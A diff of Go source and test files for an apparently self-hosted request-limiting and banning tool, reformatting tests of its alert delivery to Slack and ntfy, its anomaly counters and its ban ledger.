}) })
} }
@@ -906,23 +760,14 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
params.WebhookURL = nil params.WebhookURL = nil
params.MaxPerHour = 1 params.MaxPerHour = 1
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
ban := alerts.Alert{ ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
Event: alerts.EventBan,
Netblock: netblock(1),
Reason: "a ban",
}
// The hour's one alert, a repeat of it the cooldown holds back, and // The hour's one alert, a repeat of it the cooldown holds back, and
// an alert past the limit; once the hour has ended, its summary, // an alert past the limit; once the hour has ended, its summary,
// which gives the repeat, and the next alert, which gives none. // which gives the repeat, and the next alert, which gives none.
q.Raise(ban) q.Raise(ban)
q.Raise(ban) q.Raise(ban)
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
alerts.Alert{
Event: alerts.EventFileError,
Reason: "a file error",
},
)
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
q.Raise(ban) q.Raise(ban)
@@ -941,18 +786,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" "by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage( wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
t, wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
ntfy[1],
instance+": summary",
"default bar_chart",
summary,
)
wantSlackMessage(
t,
slack[2],
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
)
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
"a ban\nnetblock: 203.0.113.1/32") "a ban\nnetblock: 203.0.113.1/32")
}) })
@@ -978,11 +813,7 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+ wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+
"&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;") "&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;")
wantBodies( wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
t,
standIns[alerts.DestinationNtfy],
"<!channel> & <https://x.example|y>",
)
}) })
} }
@@ -1004,12 +835,7 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
params.NtfyToken = tc.token params.NtfyToken = tc.token
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{
Event: alerts.EventBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
for destination, want := range map[string][]string{ for destination, want := range map[string][]string{
@@ -1019,21 +845,13 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
} { } {
got := standIns[destination].received() got := standIns[destination].received()
if len(got) != 1 { if len(got) != 1 {
t.Fatalf( t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
"%s was sent %d requests, want 1",
destination,
len(got),
)
} }
authorization := got[0].header.Values("Authorization") authorization := got[0].header.Values("Authorization")
if !slices.Equal(authorization, want) { if !slices.Equal(authorization, want) {
t.Errorf( t.Errorf("%s was sent Authorization %q, want %q", destination,
"%s was sent Authorization %q, want %q", authorization, want)
destination,
authorization,
want,
)
} }
} }
}) })
@@ -1052,9 +870,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
standIns[alerts.DestinationSlack].set(hanging) standIns[alerts.DestinationSlack].set(hanging)
for n := range 3 { for n := range 3 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
} }
synctest.Wait() synctest.Wait()
@@ -1069,9 +885,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
wantDestinationCounts(t, q, destination, want) wantDestinationCounts(t, q, destination, want)
} }
if got := standIns[alerts.DestinationSlack].received(); len( if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
got,
) != 1 {
t.Errorf("Slack was sent %d requests, want 1", len(got)) t.Errorf("Slack was sent %d requests, want 1", len(got))
} }
@@ -1086,16 +900,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
alerts.Counts{Sent: 3, SendFailures: 1}) alerts.Counts{Sent: 3, SendFailures: 1})
logged := log.String() logged := log.String()
if !strings.Contains( if !strings.Contains(logged,
logged, `"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
) ||
strings.Contains(logged, "hooks.slack.example") || strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") { strings.Contains(logged, "T0123") {
t.Errorf( t.Errorf("process log %q names no failure, or names the URL", logged)
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -1113,9 +922,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
// Each alert is raised once each destination has done all it can // Each alert is raised once each destination has done all it can
// with those before it. // with those before it.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
synctest.Wait() synctest.Wait()
} }
@@ -1329,10 +1136,7 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
// startAll returns, by destination, a stand-in that answers for each // startAll returns, by destination, a stand-in that answers for each
// destination params sets, and a Queue that sends to them, run until the // destination params sets, and a Queue that sends to them, run until the
// test ends. // test ends.
func startAll( func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
t *testing.T,
params alerts.Params,
) (map[string]*standIn, *alerts.Queue) {
t.Helper() t.Helper()
q := alerts.New(params) q := alerts.New(params)
@@ -1366,9 +1170,7 @@ func midnight() time.Time {
// netblock returns the n-th netblock of a test, counted from 0. // netblock returns the n-th netblock of a test, counted from 0.
func netblock(n int) netip.Prefix { func netblock(n int) netip.Prefix {
return netip.MustParsePrefix( return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
)
} }
// roundTrip returns state once written as JSON and read back, as // roundTrip returns state once written as JSON and read back, as
@@ -1421,22 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
// requests to it that it counts as failed, the alerts it counts as held // requests to it that it counts as failed, the alerts it counts as held
// back, and those it counts as dropped for the webhook. // back, and those it counts as dropped for the webhook.
func wantCounts( func wantCounts(
t *testing.T, t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
q *alerts.Queue,
sent, sendFailures, suppressed, dropped int64,
) { ) {
t.Helper() t.Helper()
wantDestinationCounts( wantDestinationCounts(t, q, alerts.DestinationWebhook,
t, alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
q,
alerts.DestinationWebhook,
alerts.Counts{
Sent: sent,
SendFailures: sendFailures,
Dropped: dropped,
},
)
if q.Suppressed() != suppressed { if q.Suppressed() != suppressed {
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1469,9 +1261,7 @@ func anAlertForEachEvent() []eventMessage {
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"), Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
"203.0.113.0/24",
), Country: "DE",
Reason: "requests per hour over the limit of 10000", Reason: "requests per hour over the limit of 10000",
Detail: map[string]any{"mode": "observe"}, Detail: map[string]any{"mode": "observe"},
}, },
@@ -1482,9 +1272,7 @@ func anAlertForEachEvent() []eventMessage {
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"), Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
"198.51.100.7/32",
), Country: "FR",
Reason: "matched the rule env-file", Reason: "matched the rule env-file",
}, },
"fsn1app1/blog: permanent_ban", "high no_entry", "fsn1app1/blog: permanent_ban", "high no_entry",
@@ -1559,30 +1347,18 @@ func wantSlackMessage(t *testing.T, request post, text string) {
// wantNtfyMessage checks that request, one ntfy was sent, posted the // wantNtfyMessage checks that request, one ntfy was sent, posted the
// message text with the title, and with the priority and the tag // message text with the title, and with the priority and the tag
// priorityAndTag gives, with a space between them. // priorityAndTag gives, with a space between them.
func wantNtfyMessage( func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
t *testing.T,
request post,
title, priorityAndTag, text string,
) {
t.Helper() t.Helper()
got := []string{ got := []string{
request.method, request.url, request.header.Get("Title"), request.method, request.url, request.header.Get("Title"),
request.header.Get( request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
"Priority",
) + " " + request.header.Get(
"Tags",
), request.body,
} }
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text} want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
"ntfy was sent the method, URL, title, priority and tag, and text "+ "%q, want %q", got, want)
"%q, want %q",
got,
want,
)
} }
} }
+9 -43
View File
@@ -43,13 +43,7 @@ const (
// Scopes returns every scope. // Scopes returns every scope.
func Scopes() []string { func Scopes() []string {
return []string{ return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
ScopeClient,
ScopeNet,
ScopeASN,
ScopeTotal,
ScopeWatchedNet,
}
} }
// The windows a counter counts in, as the alerts name them. // The windows a counter counts in, as the alerts name them.
@@ -197,12 +191,8 @@ func (c *Counters) Snapshot() []Counter {
c.mu.Unlock() c.mu.Unlock()
slices.SortFunc(counters, func(a, b Counter) int { slices.SortFunc(counters, func(a, b Counter) int {
return cmp.Or( return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
a.Netblock.Compare(b.Netblock),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
return counters return counters
@@ -267,11 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
for _, named := range p.NamedNetblocks { for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) { if named.Netblock.Contains(client) {
all = append(all, scope{ all = append(all, scope{
key{ key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
scope: ScopeWatchedNet,
netblock: named.Netblock,
name: named.Name,
}, p.Watch,
}) })
} }
} }
@@ -330,12 +316,7 @@ func (c *Counter) add(
counted := count.buckets.Add(now, count.length, n) counted := count.buckets.Add(now, count.length, n)
if !passed && counted > float64(threshold) { if !passed && counted > float64(threshold) {
first = overThreshold{ first = overThreshold{count.kind, count.window, counted, threshold}
count.kind,
count.window,
counted,
threshold,
}
passed = true passed = true
} }
} }
@@ -378,22 +359,12 @@ func (c *Counter) lastStart() time.Time {
// key returns what tells c from the other counters. // key returns what tells c from the other counters.
func (c *Counter) key() key { func (c *Counter) key() key {
return key{ return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
scope: c.Scope,
netblock: c.Netblock,
asn: c.ASN,
name: c.Name,
}
} }
// counter returns a counter for k, with nothing counted yet. // counter returns a counter for k, with nothing counted yet.
func (k key) counter() *Counter { func (k key) counter() *Counter {
return &Counter{ return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
Scope: k.scope,
Netblock: k.netblock,
ASN: k.asn,
Name: k.name,
}
} }
// alertFor returns the anomaly alert for o, a count over its threshold in // alertFor returns the anomaly alert for o, a count over its threshold in
@@ -433,13 +404,8 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
ASN: r.ASN, ASN: r.ASN,
ASName: r.ASName, ASName: r.ASName,
Country: r.Country, Country: r.Country,
Reason: fmt.Sprintf( Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
"%s per %s of %s over the threshold of %d", counted, o.threshold),
o.kind,
o.window,
counted,
o.threshold,
),
Detail: detail, Detail: detail,
} }
} }
+14 -43
View File
@@ -31,10 +31,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
// name one netblock. // name one netblock.
NetV4Prefix: 32, NetV4Prefix: 32,
NamedNetblocks: []anomaly.NamedNetblock{ NamedNetblocks: []anomaly.NamedNetblock{
{ {Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
Name: "office",
Netblock: office,
}, {Name: "hq", Netblock: office},
}, },
Alerts: queue, Alerts: queue,
}) })
@@ -83,16 +80,11 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
} }
if after.Suppressed() != 9 { if after.Suppressed() != 9 {
t.Errorf( t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
"after loading, %d alerts are held back, want 9",
after.Suppressed(),
)
} }
} }
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted( func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
@@ -111,28 +103,17 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
got := counters.Snapshot() got := counters.Snapshot()
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) || if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
!holds(got, maxCounters) { !holds(got, maxCounters) {
t.Errorf( t.Errorf("%d counters, holding the first client %v, the second %v and the "+
"%d counters, holding the first client %v, the second %v and the "+ "new one %v, want %d, the first and the new one", len(got), holds(got, 0),
"new one %v, want %d, the first and the new one", holds(got, 1), holds(got, maxCounters), maxCounters)
len(got),
holds(got, 0),
holds(got, 1),
holds(got, maxCounters),
maxCounters,
)
} }
} }
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters( func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
Net: anomaly.Thresholds{ Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
RequestsPerMinute: 1000,
RequestsPerHour: 1000,
},
Total: anomaly.Thresholds{RequestsPerMinute: 1000}, Total: anomaly.Thresholds{RequestsPerMinute: 1000},
NetV4Prefix: 24, NetV4Prefix: 24,
}) })
@@ -161,9 +142,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
} }
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual( if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
got, got, want) {
want,
) {
t.Errorf("counters read\n%+v\nwant\n%+v", got, want) t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
} }
@@ -213,12 +192,9 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
got := counters.Snapshot() got := counters.Snapshot()
if !holds(got, 0) || holds(got, maxCounters/2) { if !holds(got, 0) || holds(got, maxCounters/2) {
t.Errorf( t.Errorf("holding the first client of the file %v, and the first counted in "+
"holding the first client of the file %v, and the first counted in "+ "the minute before %v, want only the first", holds(got, 0),
"the minute before %v, want only the first", holds(got, maxCounters/2))
holds(got, 0),
holds(got, maxCounters/2),
)
} }
} }
@@ -249,14 +225,9 @@ func newQueue() *alerts.Queue {
// request returns a request from client number i, an address in // request returns a request from client number i, an address in
// 10.0.0.0/8. // 10.0.0.0/8.
func request(i int) anomaly.Request { func request(i int) anomaly.Request {
client := netip.MustParseAddr( client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
)
return anomaly.Request{ return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
Client: client,
ClientGroup: netip.PrefixFrom(client, 32),
}
} }
// holds reports whether counters hold the counter of client number i. // holds reports whether counters hold the counter of client number i.
+42 -146
View File
@@ -36,21 +36,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// then one with an admin's ban before a ban sww made: the one // then one with an admin's ban before a ban sww made: the one
// ban counted toward MaxBans. // ban counted toward MaxBans.
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{ {Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
Netblock: adminsOnly, {Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
Start: midnight().Add(-3 * time.Hour), {Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
Cause: bans.CauseAdmin,
},
{
Netblock: adminsOnly,
Start: midnight().Add(-2 * time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: both,
Start: midnight().Add(-time.Hour),
Cause: bans.CauseAdmin,
},
{ {
Netblock: both, Netblock: both,
Start: midnight(), Start: midnight(),
@@ -62,27 +50,15 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// A new ban drops the ban sww made, and only that one. // A new ban drops the ban sww made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{}) ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans( wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
)
if ledger.Bans(both)[0].Cause != bans.CauseAdmin { if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
t.Errorf( t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
"%s kept %+v, want the admin's ban",
both,
ledger.Bans(both),
)
} }
// And the next drops that one. // And the next drops that one.
ledger.BanForLimit(third, midnight(), bans.Notes{}) ledger.BanForLimit(third, midnight(), bans.Notes{})
wantBans( wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
)
} }
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
@@ -98,11 +74,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
// twice, each time after its last ban has ended. // twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute), ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins") "probes for logins")
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first // A ban on another netblock fills the ledger, and the netblock's first
@@ -147,21 +119,12 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
limit, _ := ledger.BanForLimit( limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
netip.MustParsePrefix("203.0.113.1/32"), bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
midnight(), byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}, midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
) attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
byteLimit, _ := ledger.BanForLimit( bans.Notes{RuleID: "git-dir", Target: "path"})
netip.MustParsePrefix("203.0.113.3/32"),
midnight(),
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
)
attack, _ := ledger.BanForAttack(
netip.MustParsePrefix("203.0.113.2/32"),
midnight(),
bans.Notes{RuleID: "git-dir", Target: "path"},
)
for _, tc := range []struct{ got, want string }{ for _, tc := range []struct{ got, want string }{
{limit.Reason, "requests per minute over the limit of 1000"}, {limit.Reason, "requests per minute over the limit of 1000"},
@@ -203,25 +166,17 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != time.Hour || if ban.Expires.Sub(ban.Start) != time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
ban.Expires.Sub(ban.Start),
ban.Notes.EarlierBans,
)
} }
held := ledger.Bans(netblock) held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) { if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
t.Errorf( t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
"the ledger holds %+v, want the lifted ban and the new one",
held,
)
} }
} }
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger( func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// A permanent ban for a clear sign of attack, lifted. // A permanent ban for a clear sign of attack, lifted.
@@ -243,20 +198,13 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
active, permanent := ledger.Count(now) active, permanent := ledger.Count(now)
if active != 0 || permanent != 0 { if active != 0 || permanent != 0 {
t.Errorf( t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
"%d bans are active and %d permanent, want none",
active,
permanent,
)
} }
// The next clear sign of attack bans for seven days, as a first does. // The next clear sign of attack bans for seven days, as a first does.
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != 7*day { if ban.Expires.Sub(ban.Start) != 7*day {
t.Errorf( t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
"the next ban for an attack ends at %s, want seven days on",
ban.Expires,
)
} }
} }
@@ -264,11 +212,8 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
made, _ := ledger.BanForLimit( made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
netip.MustParsePrefix("203.0.113.1/32"), bans.Notes{})
midnight(),
bans.Notes{},
)
atStart := bans.Ban{ atStart := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.2/32"), Netblock: netip.MustParsePrefix("203.0.113.2/32"),
Start: midnight(), Start: midnight(),
@@ -278,10 +223,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
ledger.Load([]bans.Ban{made, atStart}) ledger.Load([]bans.Ban{made, atStart})
if got := ledger.Made(bans.CauseAdmin); got != 0 { if got := ledger.Made(bans.CauseAdmin); got != 0 {
t.Fatalf( t.Fatalf("%d bans made by an admin after the start's, want none", got)
"%d bans made by an admin after the start's, want none",
got,
)
} }
// The admin keeps the ban sww made, keeps the one read at the // The admin keeps the ban sww made, keeps the one read at the
@@ -294,13 +236,9 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
} }
ledger.LoadEdit([]bans.Ban{kept, atStart, added}) ledger.LoadEdit([]bans.Ban{kept, atStart, added})
if ledger.Made(bans.CauseAdmin) != 1 || if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
ledger.Made(bans.CauseLimit) != 1 { t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
t.Errorf( ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
"%d bans made by an admin and %d for a limit, want 1 of each",
ledger.Made(bans.CauseAdmin),
ledger.Made(bans.CauseLimit),
)
} }
} }
@@ -326,12 +264,8 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}}, Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
} }
got := ledger.BanForAdmin( got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
netip.MustParsePrefix("203.0.113.9/24"), "probes for logins")
now,
time.Time{},
"probes for logins",
)
if !reflect.DeepEqual(got, want) { if !reflect.DeepEqual(got, want) {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
} }
@@ -343,17 +277,10 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
} }
// It refuses once the ban for the limit has ended. // It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find( ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
netblock.Addr(),
midnight().Add(2*time.Hour),
)
if !banned || !reflect.DeepEqual(ban, want) { if !banned || !reflect.DeepEqual(ban, want) {
t.Errorf( t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
"after the limit's ban the netblock is under %+v (%t), want %+v", ban, banned, want)
ban,
banned,
want,
)
} }
} }
@@ -385,12 +312,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
now := midnight().Add(time.Minute) now := midnight().Add(time.Minute)
lifted := ledger.Lift(client, now) lifted := ledger.Lift(client, now)
if len(lifted) != 2 || lifted[0].Lifted != now || if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
lifted[1].Lifted != now { t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
t.Errorf(
"lifted %+v, want the two active bans covering the client",
lifted,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
@@ -407,11 +330,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
covering := ledger.Covering(client) covering := ledger.Covering(client)
if len(covering) != 3 || covering[0].Netblock != wide || if len(covering) != 3 || covering[0].Netblock != wide ||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now { !covering[1].Lifted.IsZero() || covering[2].Lifted != now {
t.Errorf( t.Errorf("the bans covering the client are %+v, want the /24's and both "+
"the bans covering the client are %+v, want the /24's and both "+ "of its own, the earlier not lifted", covering)
"of its own, the earlier not lifted",
covering,
)
} }
// With none active, nothing is lifted or changed. // With none active, nothing is lifted or changed.
@@ -422,26 +342,16 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan( func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
client := netip.MustParseAddr("203.0.113.9") client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first. // The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("203.0.113.9/32"), ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
midnight(), "for good")
bans.Notes{},
)
ledger.BanForAdmin(
netip.MustParsePrefix("203.0.113.0/24"),
midnight(),
time.Time{},
"for good",
)
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute)) wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
} }
@@ -453,19 +363,10 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good") ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin( ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
netblock, "for an hour")
midnight().Add(time.Minute),
